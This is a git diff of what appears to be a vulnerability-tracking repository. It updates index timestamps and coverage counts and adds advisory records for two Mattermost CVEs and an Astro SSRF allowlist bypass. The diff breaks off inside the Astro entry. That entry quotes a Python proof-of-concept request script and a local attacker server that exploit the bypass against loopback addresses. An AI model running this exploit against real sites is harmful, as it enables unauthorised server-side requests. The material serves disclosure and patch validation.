a/07-framework-security/servers/apache-httpd/INDEX.md +++ b/07-framework-security/servers/apache-httpd/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `135` -- 最近渲染时间: `2026-03-26T10:20:33+00:00` +- 最近渲染时间: `2026-03-27T09:30:59+00:00` ## 目标约束 diff --git a/07-framework-security/servers/apache-tomcat/INDEX.md b/07-framework-security/servers/apache-tomcat/INDEX.md index 12cc92b4..21b6abcd 100644 --- a/07-framework-security/servers/apache-tomcat/INDEX.md +++ b/07-framework-security/servers/apache-tomcat/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `136` -- 最近渲染时间: `2026-03-26T10:20:33+00:00` +- 最近渲染时间: `2026-03-27T09:30:59+00:00` ## 目标约束 diff --git a/07-framework-security/servers/caddy/INDEX.md b/07-framework-security/servers/caddy/INDEX.md index 5b70bc2b..db365269 100644 --- a/07-framework-security/servers/caddy/INDEX.md +++ b/07-framework-security/servers/caddy/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `29` -- 最近渲染时间: `2026-03-26T10:20:33+00:00` +- 最近渲染时间: `2026-03-27T09:30:59+00:00` ## 目标约束 diff --git a/07-framework-security/servers/haproxy/INDEX.md b/07-framework-security/servers/haproxy/INDEX.md index cc67626f..4524eb39 100644 --- a/07-framework-security/servers/haproxy/INDEX.md +++ b/07-framework-security/servers/haproxy/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `7` -- 最近渲染时间: `2026-03-26T10:20:33+00:00` +- 最近渲染时间: `2026-03-27T09:30:59+00:00` ## 目标约束 diff --git a/07-framework-security/servers/nginx/INDEX.md b/07-framework-security/servers/nginx/INDEX.md index 6d42cfee..7a5388d8 100644 --- a/07-framework-security/servers/nginx/INDEX.md +++ b/07-framework-security/servers/nginx/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `110` -- 最近渲染时间: `2026-03-26T10:20:33+00:00` +- 最近渲染时间: `2026-03-27T09:30:59+00:00` ## 目标约束 diff --git a/07-framework-security/servers/traefik/INDEX.md b/07-framework-security/servers/traefik/INDEX.md index 3b4a4bf3..ac9aa66c 100644 --- a/07-framework-security/servers/traefik/INDEX.md +++ b/07-framework-security/servers/traefik/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `45` -- 最近渲染时间: `2026-03-26T10:20:33+00:00` +- 最近渲染时间: `2026-03-27T09:30:59+00:00` ## 目标约束 diff --git a/08-threat-intel/generated/coverage-matrix.md b/08-threat-intel/generated/coverage-matrix.md index 402ef74a..1848f3bd 100644 --- a/08-threat-intel/generated/coverage-matrix.md +++ b/08-threat-intel/generated/coverage-matrix.md @@ -8,7 +8,7 @@ | Apache HTTP Server | `servers` | `history-full` | `yes` | `yes` | `135` | `0` | `3` | `seeded` | `real:0/synthetic:0/blocked:0` | `0` | `0` | `0` | `2025-05-22` | | Apache Tomcat | `servers` | `history-full` | `yes` | `yes` | `136` | `0` | `3` | `seeded` | `real:0/synthetic:0/blocked:0` | `0` | `0` | `0` | `2025-04-22` | | ASP.NET Core | `frameworks` | `rolling-24m` | `-` | `yes` | `3` | `0` | `3` | `seeded` | `real:0/synthetic:0/blocked:0` | `0` | `0` | `0` | `2026-03-11T13:53:20.707` | -| Astro | `frameworks` | `rolling-24m` | `-` | `yes` | `14` | `14` | `2` | `seeded` | `real:0/synthetic:0/blocked:0` | `0` | `0` | `0` | `2026-02-04T03:01:27.986221Z` | +| Astro | `frameworks` | `rolling-24m` | `-` | `yes` | `15` | `15` | `2` | `seeded` | `real:0/synthetic:0/blocked:0` | `0` | `0` | `0` | `2026-03-26T19:01:26.420643Z` | | Caddy | `servers` | `rolling-24m` | `-` | `yes` | `29` | `0` | `2` | `seeded` | `real:0/synthetic:0/blocked:0` | `0` | `0` | `0` | `2026-03-23T04:52:47.870034Z` | | Directus | `cms` | `rolling-24m` | `-` | `yes` | `29` | `0` | `3` | `seeded` | `real:0/synthetic:0/blocked:0` | `0` | `0` | `0` | `` | | Discourse | `cms` | `rolling-24m` | `-` | `yes` | `30` | `0` | `3` | `seeded` | `real:0/synthetic:0/blocked:0` | `0` | `0` | `30` | `Wed, 28 May 2025 05:22:52 +0000` | @@ -32,7 +32,7 @@ | Koa | `frameworks` | `rolling-24m` | `-` | `yes` | `1` | `1` | `2` | `seeded` | `real:0/synthetic:0/blocked:0` | `0` | `0` | `0` | `2026-02-26T23:36:36.294040Z` | | Laravel | `frameworks` | `rolling-24m` | `-` | `yes` | `2` | `2` | `3` | `seeded` | `real:0/synthetic:0/blocked:0` | `0` | `0` | `0` | `2026-03-13T22:15:34.333730Z` | | Magento Open Source | `ecommerce` | `history-full` | `yes` | `yes` | `89` | `0` | `3` | `seeded` | `real:0/synthetic:0/blocked:0` | `0` | `0` | `0` | `2025-04-20T01:37:25.860` | -| Mattermost | `platforms` | `rolling-24m` | `-` | `yes` | `31` | `31` | `3` | `seeded` | `real:0/synthetic:0/blocked:0` | `0` | `0` | `0` | `Fix Release Date` | +| Mattermost | `platforms` | `rolling-24m` | `-` | `yes` | `33` | `33` | `3` | `seeded` | `real:0/synthetic:0/blocked:0` | `0` | `0` | `0` | `Fix Release Date` | | MediaWiki | `cms` | `rolling-24m` | `-` | `yes` | `70` | `0` | `3` | `seeded` | `real:0/synthetic:0/blocked:0` | `0` | `0` | `70` | `Wed, 22 Oct 2025 21:44:43 +0000` | | Medusa | `ecommerce` | `rolling-24m` | `-` | `yes` | `15` | `0` | `2` | `seeded` | `real:0/synthetic:0/blocked:0` | `0` | `0` | `15` | `` | | Moodle | `cms` | `rolling-24m` | `-` | `yes` | `40` | `0` | `3` | `seeded` | `real:0/synthetic:0/blocked:0` | `0` | `0` | `40` | `2025-04-09T00:30:58.490` | diff --git a/08-threat-intel/generated/dashboard/advisories.json b/08-threat-intel/generated/dashboard/advisories.json index 8f25b740..cea1e3b7 100644 --- a/08-threat-intel/generated/dashboard/advisories.json +++ b/08-threat-intel/generated/dashboard/advisories.json @@ -10165,6 +10165,423 @@ "review_state": "ready" } }, + "mattermost--CVE-2026-25783": { + "canonical_id": "mattermost--CVE-2026-25783", + "title": "Mattermost fails to properly validate User-Agent header tokens", + "summary": "Mattermost versions 11.3.x <= 11.3.0, 11.2.x <= 11.2.2, 10.11.x <= 10.11.10 fail to properly validate User-Agent header tokens which allows an authenticated attacker to cause a request panic via a specially crafted User-Agent header. Mattermost Advisory ID: MMSA-2026-00586", + "display_name": "Mattermost", + "system_id": "mattermost", + "category": "platforms", + "severity": "low", + "cvss_score": 3.1, + "exploit_status": "unknown", + "published_at": "2026-03-16T15:30:42Z", + "updated_at": "2026-03-26T21:11:24.090883Z", + "official_source_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25783", + "secondary_source_urls": [ + "https://github.com/advisories/GHSA-2v3w-6g35-5f9v", + "https://github.com/mattermost/mattermost/commit/1346cf529aef0672c39a56ec10d1b8a9c8fb387d", + "https://github.com/mattermost/mattermost", + "https://mattermost.com/security-updates" + ], + "aliases": [ + "CVE-2026-25783", + "GO-2026-4725", + "GHSA-2v3w-6g35-5f9v" + ], + "secure_code_topics": [ + "authz-server-side-recheck", + "xss-output-encoding", + "token-cookie-storage", + "dependency-upgrade-policy" + ], + "verification_status": "triage-manual", + "verification_mode": "synthetic", + "artifact_mode": "synthetic", + "blocked_reason": null, + "browser_evidence": { + "required": false, + "present": false, + "refs": [] + }, + "entity_refs": [ + { + "entity_id": "mattermost", + "entity_type": "system", + "relation": "root-system", + "root_system_id": "mattermost", + "official": true + }, + { + "entity_id": "mattermost--repo--github-com-mattermost-mattermost-server", + "entity_type": "repo", + "relation": "affected-component", + "root_system_id": "mattermost", + "official": false + } + ], + "affected_components": [ + { + "name": "mattermost / mattermost-server", + "entity_id": "mattermost--repo--github-com-mattermost-mattermost-server", + "scope": "repo", + "package_name": "github.com/mattermost/mattermost-server", + "official": false + } + ], + "affected_version_ranges": [ + "introduced=0, fixed<8.0.0-20260129181235-1346cf529aef", + "introduced=0, fixed<5.3.2-0.20260129181235-1346cf529aef", + "introduced=10.11.0-rc1, fixed<10.11.11", + "introduced=11.2.0-rc1, fixed<11.2.3", + "introduced=11.3.0-rc1, fixed<11.3.1", + "introduced=10.11.0-rc1+incompatible, fixed<10.11.11+incompatible", + "introduced=0" + ], + "fixed_version_ranges": [ + "8.0.0-20260129181235-1346cf529aef", + "5.3.2-0.20260129181235-1346cf529aef", + "10.11.11", + "11.2.3", + "11.3.1", + "10.11.11+incompatible", + "11.2.3+incompatible", + "11.3.1+incompatible" + ], + "introduced_version": "introduced=0", + "patched_version": "8.0.0-20260129181235-1346cf529aef", + "version_confidence": "high", + "version_gap_reason": "", + "version_resolution_needed": false, + "advisory_scope": "repo", + "workflow": { + "workflow_id": "mattermost--CVE-2026-25783--workflow", + "vuln_family": "session-token", + "entry_surface": "session-or-token-processing", + "preconditions": [ + "\u4ec5\u5728 lab-local\u3001lab-public \u6216\u660e\u786e\u6388\u6743\u76ee\u6807\u4e2d\u6267\u884c\u3002", + "\u786e\u8ba4\u76ee\u6807\u547d\u4e2d\u7248\u672c\u65ad\u8a00: introduced=0, fixed<8.0.0-20260129181235-1346cf529aef, introduced=0, fixed<5.3.2-0.20260129181235-1346cf529aef, introduced=10.11.0-rc1, fixed<10.11.11", + "\u82e5\u5bf9\u8c61\u5c5e\u4e8e `repo`\uff0c\u5148\u786e\u8ba4\u6269\u5c55/\u4ed3\u5e93/\u5305\u5df2\u542f\u7528\u5e76\u5904\u4e8e\u53d7\u5f71\u54cd\u7248\u672c\u3002" + ], + "required_role": "authenticated-user", + "affected_version_assertion": [ + "introduced=0, fixed<8.0.0-20260129181235-1346cf529aef", + "introduced=0, fixed<5.3.2-0.20260129181235-1346cf529aef", + "introduced=10.11.0-rc1, fixed<10.11.11", + "introduced=11.2.0-rc1, fixed<11.2.3", + "introduced=11.3.0-rc1, fixed<11.3.1", + "introduced=10.11.0-rc1+incompatible, fixed<10.11.11+incompatible", + "introduced=0" + ], + "trigger_vector": "\u5bf9 `session-token` \u5bb6\u65cf\u5165\u53e3\u6295\u9012\u6700\u5c0f\u5316\u3001\u53ef\u5ba1\u8ba1\u3001\u53ef\u56de\u6eda\u7684\u53d7\u63a7\u8f93\u5165\uff0c\u6bd4\u8f83\u4fee\u590d\u524d\u540e\u5dee\u5f02\u3002", + "request_or_ui_path": [ + "/login", + "/callback", + "/session" + ], + "input_shape": "\u4f7f\u7528\u77ed\u671f\u6d4b\u8bd5\u4ee4\u724c\u6216\u4f1a\u8bdd\uff0c\u9a8c\u8bc1\u751f\u547d\u5468\u671f\u3001\u7ed1\u5b9a\u4e0e\u5931\u6548\u903b\u8f91\u3002", + "expected_unsafe_behavior": "\u4ee4\u724c\u6216\u4f1a\u8bdd\u53ef\u88ab\u91cd\u653e\u3001\u56fa\u5b9a\u6216\u8d8a\u6743\u4f7f\u7528\u3002", + "server_evidence_points": [ + "\u5e94\u7528\u65e5\u5fd7\u4e2d\u7684\u547d\u4e2d\u8def\u5f84\u3001\u9274\u6743\u51b3\u7b56\u548c\u5f02\u5e38\u6808", + "\u53cd\u5411\u4ee3\u7406\u6216\u8fb9\u754c\u5c42\u65e5\u5fd7\u4e2d\u7684\u8bf7\u6c42\u5934\u3001\u6765\u6e90 IP \u4e0e\u8def\u7531\u51b3\u7b56" + ], + "browser_evidence_points": [ + "\u57fa\u7ebf\u622a\u56fe\u4e0e\u653b\u51fb\u540e\u622a\u56fe\u7684 DOM/\u89c6\u89c9\u5dee\u5f02", + "console\u3001network \u4e0e response metadata \u4e2d\u7684\u5f02\u5e38\u4fe1\u53f7" + ], + "db_or_fs_evidence_points": [ + "\u6570\u636e\u5e93\u4e2d\u65b0\u589e/\u8d8a\u6743\u8bfb\u53d6\u7684\u6d4b\u8bd5\u6570\u636e", + "\u6587\u4ef6\u7cfb\u7edf\u4e2d\u65b0\u589e\u4e0a\u4f20\u6837\u672c\u3001\u7f13\u5b58\u6761\u76ee\u6216\u8d8a\u6743\u8bfb\u53d6\u75d5\u8ff9" + ], + "detection_signals": [ + "WAF / reverse proxy \u5f02\u5e38\u65e5\u5fd7\u3001\u8bbf\u95ee\u65e5\u5fd7\u548c\u544a\u8b66", + "\u5e94\u7528\u5ba1\u8ba1\u65e5\u5fd7\u4e2d\u7684\u6743\u9650\u9519\u8bef\u3001\u91cd\u5b9a\u5411\u5f02\u5e38\u3001\u6a21\u677f\u6e32\u67d3\u6216\u4e0a\u4f20\u843d\u76d8\u4e8b\u4ef6" + ], + "mitigation_summary": "\u4f18\u5148\u5347\u7ea7\u5230\u4fee\u590d\u7248\u672c\uff0c\u5e76\u540c\u65f6\u6536\u7d27\u8f93\u5165\u6821\u9a8c\u3001\u670d\u52a1\u7aef\u9274\u6743\u3001\u4ee3\u7406\u4fe1\u4efb\u8fb9\u754c\u3001\u6269\u5c55\u5b89\u88c5\u4fe1\u4efb\u548c\u5ba1\u8ba1\u65e5\u5fd7\u3002", + "patch_validation_steps": [ + "\u786e\u8ba4\u76ee\u6807\u7248\u672c\u4ece `introduced=0, fixed<8.0.0-20260129181235-1346cf529aef, introduced=0, fixed<5.3.2-0.20260129181235-1346cf529aef, introduced=10.11.0-rc1, fixed<10.11.11` \u5347\u7ea7\u6216\u56de\u79fb\u5230 `8.0.0-20260129181235-1346cf529aef`\u3002", + "\u4fdd\u7559\u540c\u4e00\u7ec4\u53d7\u63a7\u8f93\u5165\uff0c\u5728\u4fee\u590d\u524d\u540e\u5206\u522b\u6267\u884c\u5e76\u6bd4\u5bf9\u54cd\u5e94\u3001\u65e5\u5fd7\u4e0e\u6d4f\u89c8\u5668\u8bc1\u636e\u3002", + "\u786e\u8ba4\u4fee\u590d\u540e\u4ec5\u4fdd\u7559\u9884\u671f\u4e1a\u52a1\u884c\u4e3a\uff0c\u4e0d\u518d\u89e6\u53d1\u8d8a\u6743\u3001\u56de\u663e\u3001\u5f02\u5e38\u6e32\u67d3\u6216\u9519\u8bef\u8bf7\u6c42\u3002", + "\u8865\u5145 `session-token` \u65cf\u81ea\u52a8\u5316\u56de\u5f52\uff0c\u907f\u514d\u540c\u7c7b\u8def\u5f84\u5728\u63d2\u4ef6\u3001\u4e3b\u9898\u6216\u4ee3\u7406\u94fe\u4e2d\u56de\u5f52\u3002" + ], + "lab_safety_notes": [ + "\u53ea\u4f7f\u7528\u56de\u73af\u5730\u5740\u3001\u54e8\u5175\u76ee\u6807\u3001\u65e0\u5bb3\u6837\u672c\u6216\u53ef\u56de\u6eda\u6d4b\u8bd5\u6570\u636e\u3002", + "\u7981\u6b62\u9020\u6210\u6301\u4e45\u7834\u574f\u3001\u8d8a\u6743\u4e0b\u8f7d\u771f\u5b9e\u6570\u636e\u6216\u4e0d\u53ef\u56de\u6eda side effect\u3002", + "\u5982\u9700\u6d4f\u89c8\u5668\u8bc1\u636e\uff0c\u4fdd\u7559 baseline / proof \u4e24\u4efd\u5feb\u7167\u4ee5\u53ca console / network \u8bb0\u5f55\u3002" + ], + "review_state": "ready" + } + }, + "mattermost--CVE-2026-2456": { + "canonical_id": "mattermost--CVE-2026-2456", + "title": "Mattermost fails to limit the size of responses from integration action endpoints", + "summary": "Mattermost versions 11.3.x <= 11.3.0, 11.2.x <= 11.2.2, 10.11.x <= 10.11.10 Mattermost fails to limit the size of responses from integration action endpoints, which allows an authenticated attacker to cause server memory exhaustion and denial of service via a malicious integration server that returns an arbitrarily large response when a user clicks an interactive message button. Mattermost Advisory ID: MMSA-2026-00571", + "display_name": "Mattermost", + "system_id": "mattermost", + "category": "platforms", + "severity": "low", + "cvss_score": 3.1, + "exploit_status": "unknown", + "published_at": "2026-03-16T15:30:43Z", + "updated_at": "2026-03-26T21:11:03.241919Z", + "official_source_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2456", + "secondary_source_urls": [ + "https://github.com/advisories/GHSA-34g8-9fpp-46ch", + "https://github.com/mattermost/mattermost/commit/fe3052073dc67e3c920baf9fe7efd44ac1d8124c", + "https://github.com/mattermost/mattermost", + "https://mattermost.com/security-updates" + ], + "aliases": [ + "CVE-2026-2456", + "GO-2026-4726", + "GHSA-34g8-9fpp-46ch" + ], + "secure_code_topics": [ + "authz-server-side-recheck", + "xss-output-encoding", + "token-cookie-storage", + "dependency-upgrade-policy" + ], + "verification_status": "triage-manual", + "verification_mode": "synthetic", + "artifact_mode": "synthetic", + "blocked_reason": null, + "browser_evidence": { + "required": false, + "present": false, + "refs": [] + }, + "entity_refs": [ + { + "entity_id": "mattermost", + "entity_type": "system", + "relation": "root-system", + "root_system_id": "mattermost", + "official": true + }, + { + "entity_id": "mattermost--repo--github-com-mattermost-mattermost-server", + "entity_type": "repo", + "relation": "affected-component", + "root_system_id": "mattermost", + "official": false + } + ], + "affected_components": [ + { + "name": "mattermost / mattermost-server", + "entity_id": "mattermost--repo--github-com-mattermost-mattermost-server", + "scope": "repo", + "package_name": "github.com/mattermost/mattermost-server", + "official": false + } + ], + "affected_version_ranges": [ + "introduced=0, fixed<8.0.0-20260127165411-fe3052073dc6", + "introduced=0, fixed<5.3.2-0.20260127165411-fe3052073dc6", + "introduced=10.11.0-rc1, fixed<10.11.11", + "introduced=11.2.0-rc1, fixed<11.2.3", + "introduced=11.3.0-rc1, fixed<11.3.1", + "introduced=10.11.0-rc1+incompatible, fixed<10.11.11+incompatible", + "introduced=0" + ], + "fixed_version_ranges": [ + "8.0.0-20260127165411-fe3052073dc6", + "5.3.2-0.20260127165411-fe3052073dc6", + "10.11.11", + "11.2.3", + "11.3.1", + "10.11.11+incompatible", + "11.2.3+incompatible", + "11.3.1+incompatible" + ], + "introduced_version": "introduced=0", + "patched_version": "8.0.0-20260127165411-fe3052073dc6", + "version_confidence": "high", + "version_gap_reason": "", + "version_resolution_needed": false, + "advisory_scope": "repo", + "workflow": { + "workflow_id": "mattermost--CVE-2026-2456--workflow", + "vuln_family": "unknown", + "entry_surface": "repo-surface", + "preconditions": [ + "\u4ec5\u5728 lab-local\u3001lab-public \u6216\u660e\u786e\u6388\u6743\u76ee\u6807\u4e2d\u6267\u884c\u3002", + "\u786e\u8ba4\u76ee\u6807\u547d\u4e2d\u7248\u672c\u65ad\u8a00: introduced=0, fixed<8.0.0-20260127165411-fe3052073dc6, introduced=0, fixed<5.3.2-0.20260127165411-fe3052073dc6, introduced=10.11.0-rc1, fixed<10.11.11", + "\u82e5\u5bf9\u8c61\u5c5e\u4e8e `repo`\uff0c\u5148\u786e\u8ba4\u6269\u5c55/\u4ed3\u5e93/\u5305\u5df2\u542f\u7528\u5e76\u5904\u4e8e\u53d7\u5f71\u54cd\u7248\u672c\u3002" + ], + "required_role": "unknown", + "affected_version_assertion": [ + "introduced=0, fixed<8.0.0-20260127165411-fe3052073dc6", + "introduced=0, fixed<5.3.2-0.20260127165411-fe3052073dc6", + "introduced=10.11.0-rc1, fixed<10.11.11", + "introduced=11.2.0-rc1, fixed<11.2.3", + "introduced=11.3.0-rc1, fixed<11.3.1", + "introduced=10.11.0-rc1+incompatible, fixed<10.11.11+incompatible", + "introduced=0" + ], + "trigger_vector": "\u5bf9 `unknown` \u5bb6\u65cf\u5165\u53e3\u6295\u9012\u6700\u5c0f\u5316\u3001\u53ef\u5ba1\u8ba1\u3001\u53ef\u56de\u6eda\u7684\u53d7\u63a7\u8f93\u5165\uff0c\u6bd4\u8f83\u4fee\u590d\u524d\u540e\u5dee\u5f02\u3002", + "request_or_ui_path": [ + "/repo" + ], + "input_shape": "\u63d0\u4ea4\u6700\u5c0f\u5316\u3001\u53ef\u5ba1\u8ba1\u3001\u53ef\u56de\u6eda\u7684\u53d7\u63a7\u8f93\u5165\u3002", + "expected_unsafe_behavior": "\u76ee\u6807\u8868\u73b0\u51fa\u8d85\u51fa\u8bbe\u8ba1\u8fb9\u754c\u7684\u884c\u4e3a\u3002", + "server_evidence_points": [ + "\u5e94\u7528\u65e5\u5fd7\u4e2d\u7684\u547d\u4e2d\u8def\u5f84\u3001\u9274\u6743\u51b3\u7b56\u548c\u5f02\u5e38\u6808", + "\u53cd\u5411\u4ee3\u7406\u6216\u8fb9\u754c\u5c42\u65e5\u5fd7\u4e2d\u7684\u8bf7\u6c42\u5934\u3001\u6765\u6e90 IP \u4e0e\u8def\u7531\u51b3\u7b56" + ], + "browser_evidence_points": [ + "\u57fa\u7ebf\u622a\u56fe\u4e0e\u653b\u51fb\u540e\u622a\u56fe\u7684 DOM/\u89c6\u89c9\u5dee\u5f02", + "console\u3001network \u4e0e response metadata \u4e2d\u7684\u5f02\u5e38\u4fe1\u53f7" + ], + "db_or_fs_evidence_points": [ + "\u6570\u636e\u5e93\u4e2d\u65b0\u589e/\u8d8a\u6743\u8bfb\u53d6\u7684\u6d4b\u8bd5\u6570\u636e", + "\u6587\u4ef6\u7cfb\u7edf\u4e2d\u65b0\u589e\u4e0a\u4f20\u6837\u672c\u3001\u7f13\u5b58\u6761\u76ee\u6216\u8d8a\u6743\u8bfb\u53d6\u75d5\u8ff9" + ], + "detection_signals": [ + "WAF / reverse proxy \u5f02\u5e38\u65e5\u5fd7\u3001\u8bbf\u95ee\u65e5\u5fd7\u548c\u544a\u8b66", + "\u5e94\u7528\u5ba1\u8ba1\u65e5\u5fd7\u4e2d\u7684\u6743\u9650\u9519\u8bef\u3001\u91cd\u5b9a\u5411\u5f02\u5e38\u3001\u6a21\u677f\u6e32\u67d3\u6216\u4e0a\u4f20\u843d\u76d8\u4e8b\u4ef6" + ], + "mitigation_summary": "\u4f18\u5148\u5347\u7ea7\u5230\u4fee\u590d\u7248\u672c\uff0c\u5e76\u540c\u65f6\u6536\u7d27\u8f93\u5165\u6821\u9a8c\u3001\u670d\u52a1\u7aef\u9274\u6743\u3001\u4ee3\u7406\u4fe1\u4efb\u8fb9\u754c\u3001\u6269\u5c55\u5b89\u88c5\u4fe1\u4efb\u548c\u5ba1\u8ba1\u65e5\u5fd7\u3002", + "patch_validation_steps": [ + "\u786e\u8ba4\u76ee\u6807\u7248\u672c\u4ece `introduced=0, fixed<8.0.0-20260127165411-fe3052073dc6, introduced=0, fixed<5.3.2-0.20260127165411-fe3052073dc6, introduced=10.11.0-rc1, fixed<10.11.11` \u5347\u7ea7\u6216\u56de\u79fb\u5230 `8.0.0-20260127165411-fe3052073dc6`\u3002", + "\u4fdd\u7559\u540c\u4e00\u7ec4\u53d7\u63a7\u8f93\u5165\uff0c\u5728\u4fee\u590d\u524d\u540e\u5206\u522b\u6267\u884c\u5e76\u6bd4\u5bf9\u54cd\u5e94\u3001\u65e5\u5fd7\u4e0e\u6d4f\u89c8\u5668\u8bc1\u636e\u3002", + "\u786e\u8ba4\u4fee\u590d\u540e\u4ec5\u4fdd\u7559\u9884\u671f\u4e1a\u52a1\u884c\u4e3a\uff0c\u4e0d\u518d\u89e6\u53d1\u8d8a\u6743\u3001\u56de\u663e\u3001\u5f02\u5e38\u6e32\u67d3\u6216\u9519\u8bef\u8bf7\u6c42\u3002", + "\u8865\u5145 `unknown` \u65cf\u81ea\u52a8\u5316\u56de\u5f52\uff0c\u907f\u514d\u540c\u7c7b\u8def\u5f84\u5728\u63d2\u4ef6\u3001\u4e3b\u9898\u6216\u4ee3\u7406\u94fe\u4e2d\u56de\u5f52\u3002" + ], + "lab_safety_notes": [ + "\u53ea\u4f7f\u7528\u56de\u73af\u5730\u5740\u3001\u54e8\u5175\u76ee\u6807\u3001\u65e0\u5bb3\u6837\u672c\u6216\u53ef\u56de\u6eda\u6d4b\u8bd5\u6570\u636e\u3002", + "\u7981\u6b62\u9020\u6210\u6301\u4e45\u7834\u574f\u3001\u8d8a\u6743\u4e0b\u8f7d\u771f\u5b9e\u6570\u636e\u6216\u4e0d\u53ef\u56de\u6eda side effect\u3002", + "\u5982\u9700\u6d4f\u89c8\u5668\u8bc1\u636e\uff0c\u4fdd\u7559 baseline / proof \u4e24\u4efd\u5feb\u7167\u4ee5\u53ca console / network \u8bb0\u5f55\u3002" + ], + "review_state": "ready" + } + }, + "astro--CVE-2026-33769": { + "canonical_id": "astro--CVE-2026-33769", + "title": "Astro: Remote allowlist bypass via unanchored matchPathname wildcard", + "summary": "## Summary\nThis issue concerns Astro's `remotePatterns` path enforcement for remote URLs used by server-side fetchers such as the image optimization endpoint. The path matching logic for `/*` wildcards is unanchored, so a pathname that contains the allowed prefix later in the path can still match. As a result, an attacker can fetch paths outside the intended allowlisted prefix on an otherwise allowed host. In our PoC, both the allowed path and a bypass path returned 200 with the same SVG payload, confirming the bypass.\n\n## Impact\nAttackers can fetch unintended remote resources on an allowlisted host via the image endpoint, expanding SSRF/data exposure beyond the configured path prefix.\n\n## Description\nTaint flow: request -> `transform.src` -> `isRemoteAllowed()` -> `matchPattern()` -> `matchPathname()`\n\nUser-controlled `href` is parsed into `transform.src` and validated via `isRemoteAllowed()`:\n\nSource: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/astro/src/assets/endpoint/generic.ts#L43-L56\n\n```ts\nconst url = new URL(request.url);\nconst transform = await imageService.parseURL(url, imageConfig);\n\nconst isRemoteImage = isRemotePath(transform.src);\n\nif (isRemoteImage && isRemoteAllowed(transform.src, imageConfig) === false) {\n return new Response('Forbidden', { status: 403 });\n}\n```\n\n`isRemoteAllowed()` checks each `remotePattern` via `matchPattern()`:\n\nSource: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/internal-helpers/src/remote.ts#L15-L21\n\n```ts\nexport function matchPattern(url: URL, remotePattern: RemotePattern): boolean {\n return (\n matchProtocol(url, remotePattern.protocol) &&\n matchHostname(url, remotePattern.hostname, true) &&\n matchPort(url, remotePattern.port) &&\n matchPathname(url, remotePattern.pathname, true)\n );\n}\n```\n\nThe vulnerable logic in `matchPathname()` uses `replace()` without anchoring the prefix for `/*` patterns:\n\nSource: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/internal-helpers/src/remote.ts#L85-L99\n\n```ts\n} else if (pathname.endsWith('/*')) {\n const slicedPathname = pathname.slice(0, -1); // * length\n const additionalPathChunks = url.pathname\n .replace(slicedPathname, '')\n .split('/')\n .filter(Boolean);\n return additionalPathChunks.length === 1;\n}\n```\n\n**Vulnerable code flow:**\n1. `isRemoteAllowed()` evaluates `remotePatterns` for a requested URL.\n2. `matchPathname()` handles `pathname: \"/img/*\"` using `.replace()` on the URL path.\n3. A path such as `/evil/img/secret` incorrectly matches because `/img/` is removed even when it's not at the start.\n4. The image endpoint fetches and returns the remote resource.\n\n## PoC\n\nThe PoC starts a local attacker server and configures remotePatterns to allow only `/img/*`. It then requests the image endpoint with two URLs: an allowed path and a bypass path with `/img/` in the middle. Both requests returned the SVG payload, showing the path restriction was bypassed.\n\n### Vulnerable config\n```js\nimport { defineConfig } from 'astro/config';\nimport node from '@astrojs/node';\n\nexport default defineConfig({\n output: 'server',\n adapter: node({ mode: 'standalone' }),\n image: {\n remotePatterns: [\n { protocol: 'https', hostname: 'cdn.example', pathname: '/img/*' },\n { protocol: 'http', hostname: '127.0.0.1', port: '9999', pathname: '/img/*' },\n ],\n },\n});\n```\n\n### Affected pages\nThis PoC targets the `/_image` endpoint directly; no additional pages are required.\n\n### PoC Code\n```python\nimport http.client\nimport json\nimport urllib.parse\n\nHOST = \"127.0.0.1\"\nPORT = 4321\n\ndef fetch(path: str) -> dict:\n conn = http.client.HTTPConnection(HOST, PORT, timeout=10)\n conn.request(\"GET\", path, headers={\"Host\": f\"{HOST}:{PORT}\"})\n resp = conn.getresponse()\n body = resp.read(2000).decode(\"utf-8\", errors=\"replace\")\n conn.close()\n return {\n \"path\": path,\n \"status\": resp.status,\n \"reason\": resp.reason,\n \"headers\": dict(resp.getheaders()),\n \"body_snippet\": body[:400],\n }\n\nallowed = urllib.parse.quote(\"http://127.0.0.1:9999/img/allowed.svg\", safe=\"\")\nbypass = urllib.parse.quote(\"http://127.0.0.1:9999/evil/img/secret.svg\", safe=\"\")\n\n# Both pass, second should fail\n\nresults = {\n \"allowed\": fetch(f\"/_image?href={allowed}&f=svg\"),\n \"bypass\": fetch(f\"/_image?href={bypass}&f=svg\"),\n}\n\nprint(json.dumps(results, indent=2))\n```\n\n### Attacker server\n```python\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\nHOST = \"127.0.0.1\"\nPORT = 9999\n\nPAYLOAD = \"\"\"\n\"\"\"\n\nclass Handler(BaseHTTPRequestHandler):\n def do_GET(self):\n print(f\">>> {self.command} {self.path}\")\n if self.path.endswith(\".svg\") or \"/img/\" in self.path:\n self.send_response(200)\n self.send_header(\"Content-Type\", \"image/svg+xml\")\n self.send_header(\"Cache-Control\", \"no-store\")\n self.end_headers()\n self.wfile.write(PAYLOAD.encode(\"utf-8\"))\n return\n\n self.send_response(200)\n self.send_header(\"Content-Type\", \"text/plain\")\n self.end_headers()\n self.wfile.write(b\"ok\")\n\n def log_message(self, format, *args):\n return\n\nif __name__ == \"__main__\":\n server = HTTPServer((HOST, PORT), Handler)\n print(f\"HTTP logger listening on http://{HOST}:{PORT}\")\n server.serve_forever()\n```\n\n### PoC Steps\n1. Bootstrap default Astro project.\n2. Add the vulnerable config and attacker server.\n3. Build the project.\n4. Start the attacker server.\n5. Start the Astro server.\n6. Run the PoC.\n7. Observe the console output showing both the allowed and bypass requests returning the SVG payload.", + "display_name": 